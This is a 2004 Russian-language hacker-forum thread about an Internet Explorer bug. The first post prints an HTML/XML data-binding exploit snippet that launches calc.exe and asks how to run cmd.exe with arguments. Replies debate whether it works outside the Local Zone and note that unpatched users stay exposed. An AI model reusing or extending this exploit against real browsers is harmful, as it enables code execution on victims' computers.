ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Чаты
Перезагрузить страницу Internet explorer bug
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 28.06.2004, 13:30
Аватар для
Guest
Сообщений: n/a
Провел на форуме:

Репутация:
По умолчанию
Всем известен кусок кода, запускающий калькулятор:
<span datasrc="#oExec" datafld="exploit"
dataformatas="html"></span>
<xml
id="oExec">
<security><exploit><![CDATA[
<object id="oFile"
classid="clsid:11111111-1111-1111-1111-111111111111"
codebase="c:/WINDOWS/calc.exe"></object>
]]></exploit></security>
</xml>
Вопросик:Как ещё передать параметры командной строки?Не выходит, ну например запустить cmd.exe с параметром echo aaa>1.txt???
 
Ответить с цитированием

  #2  
Старый 28.06.2004, 21:52
Аватар для zFailure
zFailure
Участник форума
Регистрация: 06.06.2004
Сообщений: 169
Провел на форуме:
0

Репутация: 82
Отправить сообщение для zFailure с помощью ICQ
По умолчанию
какой смысл в этом эксплойте, если он катит только в Локальной Зоне???

к тамуже есть способ намного компактнее!
 
Ответить с цитированием

  #3  
Старый 28.06.2004, 22:04
Аватар для Z4masko
Z4masko
Познающий
Регистрация: 19.06.2004
Сообщений: 36
Провел на форуме:
0

Репутация: 0
По умолчанию
посмотри о новом баге  в IE на  secutityfocus за 24 число.
 
Ответить с цитированием

  #4  
Старый 29.06.2004, 11:26
Аватар для Algol
Algol
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме:
2050916

Репутация: 0


По умолчанию
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (zFailure @ июня 28 2004,21:52)</td></tr><tr><td id="QUOTE">какой смысл в этом эксплойте, если он катит только в Локальной Зоне??? [/QUOTE]<span id='postcolor'>
Вовсе нет, этот катил и в глобальной зоне (по кр. мере раньше).
 
Ответить с цитированием

  #5  
Старый 30.06.2004, 12:59
Аватар для zFailure
zFailure
Участник форума
Регистрация: 06.06.2004
Сообщений: 169
Провел на форуме:
0

Репутация: 82
Отправить сообщение для zFailure с помощью ICQ
По умолчанию
сам проверил ради интереса на локалоном сервере

так действительно запускается
C:\Apache Group\Apache2\htdocs\exploits\0001\1.html

так уже нет
http://a/exploits/0001/1.html

вывод - работает только в локально зоне

правда далеко не все ставят последние патчи на свой IE =)
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ